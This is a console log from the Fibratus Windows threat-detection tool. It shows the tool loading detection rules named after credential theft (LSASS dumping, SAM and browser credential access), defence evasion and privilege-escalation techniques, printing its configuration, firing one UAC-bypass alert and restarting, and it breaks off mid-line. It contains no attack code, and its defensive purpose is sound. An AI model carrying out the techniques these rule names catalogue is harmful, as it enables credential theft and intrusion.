+time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:21:52+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:21:52+01:00 level=info msg=bootstrapping with pid 10256. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:21:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-handle=>false enable-net=>true enable-vamap=>true flush-interval=>1s enable-fileio=>true enable-dns=>false buffer-size=>512 enable-mem=>false enable-audit-api=>true min-buffers=>16 max-buffers=>36 enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-image=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ timeout=>5s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus trace-log=>false enabled=>false healthcheck-interval=>10s flush-period=>1s index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient vhost=>/ url=>amqp://localhost:5672 durable=>false passive=>false timeout=>5s] http=>[ tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false scan-timeout=>10s skip-allocs=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:21:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:21:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:22:19+01:00 level=info msg=sending alert: [UAC bypass via rouge MMC snap-in]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:22:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:22:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:22:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:27:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from 